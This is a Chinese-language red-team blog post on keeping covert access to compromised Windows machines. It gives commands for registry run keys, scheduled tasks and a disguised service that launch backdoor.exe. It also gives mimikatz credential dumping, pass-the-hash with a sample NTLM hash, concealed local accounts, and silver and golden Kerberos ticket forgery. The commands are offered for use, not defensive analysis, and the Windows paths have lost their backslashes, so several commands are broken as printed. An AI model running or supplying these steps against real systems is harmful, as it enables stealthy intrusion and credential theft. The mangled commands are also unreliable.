持续控制技术和策略(A View of Persistence)

2019-09-24 15:53:17 浏览数 (1)

本文作者:麦烧玉米(Ms08067实验室红队小组成员)

我们经常会看到一个完整的攻击生命周期,大概有以下7个主要步骤:

  1. Recon
  2. Weaponisation
  3. Delivery
  4. Exploitation
  5. Installation
  6. Command & Control
  7. Actions on Objectives

其中第5个步骤“Installation”意思为“重新获得对系统的命令和控制(如果丢失),而不必重复步骤1到4”。当遇到一些操作不行的时候就要考虑权限问题,uac策略等!

在这篇文章中,我会介绍一些基本的持久性策略和技术!通常,触发C2通道的持久性机制存在于以下级别之一:

  1. 中等强制级别,在标准用户的上下文中。
  2. 在SYSTEM的背景下强制性水平较高。

UserLand 技术

HKCU:

HKCR: HKEY_CLASSES_ROOT HKCU: HKEY_CURRENT_USER HKLM: HKEY_LOCAL_MACHINE HKU: HKEY_USERS HKCC: HKEY_CURRENT_CONFIG

创建一个REG_SZ值 字符串值 在HKCUSoftwareMicrosoftWindows (其他的也行)

name Backdoor data C:usersCreaTeAppDataLocalTempbackdoor.exe

启动:

在用户启动文件夹中创建批处理脚本 gc--Get-Content

@ echo off start /d "C:WindowsSystem32" calc.exe pause 难受不会写bat bat的作用应该是每次开机都启动bat触发backdoor.exe

计划任务:

PS C:> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:UsersRastaAppDataLocalTempbackdoor.exe" PS C:> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta" PS C:> $P = New-ScheduledTaskPrincipal "Rasta" PS C:> $S = New-ScheduledTaskSettingsSet PS C:> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S PS C:> Register-ScheduledTask Backdoor -InputObject $D

Powershell配置文件:

Elevated技术

HKLM:

HKLM: HKEY_LOCAL_MACHINE HKLMSoftwareMicrosoftWindows name/data

服务:

创建将自动或按需启动的服务 PS C:> New-Service -Name "Backdoor" -BinaryPathName "C:WindowsTempbackdoor.exe" -Description "Nothing to see here."

计划任务:

以System运行 每天上午9点 PS C:> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:WindowsTempbackdoor.exe" PS C:> $T = New-ScheduledTaskTrigger -Daily -At 9am PS C:> $P = New-ScheduledTaskPrincipal "NT AUTHORITYSYSTEM" -RunLevel Highest PS C:> $S = New-ScheduledTaskSettingsSet PS C:> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S PS C:> Register-ScheduledTask Backdoor -InputObject $D

维持特权:

runas脚本http://xinn.org/RunasVBS.html

参考:https://blog.csdn.net/u010984552/article/details/54891615

NTLM哈希:

权限始终是一个问题 导出Server Hash mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt

sekurlsa::pth /user:Administrator /domain:GOD /ntlm:ccef208c6485269c20db2cad21734fe7 (/run:运行的程序,默认 cmd)

添加新的本地用户可以提供一种返回计算机的方法。如果将它们放在 Administrators组中太明显,请使用其他特权组,例如Remote Desktop Users,Remote Management Users或Backup Operators

白银票据:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名>/ptt" exit

参考: https://paper.tuisec.win/detail/af2385f4ed3a391 kerberos::golden /domain:GOD /sid:S-1-5-21-1218902331-2157346161- 1782232778 /target: WebServer /service: cifs /rc4:518b98ad4178a53695dc997aa02d455c /user:Administrator /ptt exit

OWA2010CN-God

黄金票据:

拿下域控 lsadump::dcsync /domain:域名 /user:krbtgt ms14068 mimikatz kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt exit

来源:Ms08067安全实验室

0 人点赞